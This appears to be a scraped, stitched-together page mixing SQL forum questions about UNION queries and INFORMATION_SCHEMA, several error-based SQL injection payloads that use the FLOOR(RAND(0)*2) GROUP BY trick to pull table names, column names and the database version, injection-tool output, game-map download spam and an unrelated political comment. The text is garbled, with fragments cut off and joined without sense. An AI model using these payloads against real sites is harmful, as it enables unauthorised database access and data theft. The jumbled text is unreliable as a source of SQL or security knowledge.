I have the following query: … How would I get the count of the total number of results?
Is it possible to select from the result of a union? For example I'm trying to do something like: … Am I missing anything or making an assumption about how this works?
Probably an easy question.. I've got a list of tables from INFORMATION_SCHEMA and I want to do queries (select, delete etc) on the data within these tables: I tried … But of course it does not work..
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))).
Count(*) of u0021_kinovdom.orders is 0 Can not get rows count, trying to get 10 rows Turning off
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)
20information_schema.tables%20group%20by%20x%29a) and%201%3D1 maps for Killing Floor. You can download these Killing Floor maps and Killing Floor levels for free from the biggest Killing Floor library on the internet. Fast easy and free downloads.
And in the 90s, our governament equaled organized criminal and mafia. There have always been sadistic people everywhere, but here, they had an opportunity to flourish, and in the process have hurt so many, including other Serbs and Serbia as whole.
+AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT version() FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))). URL will look like
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.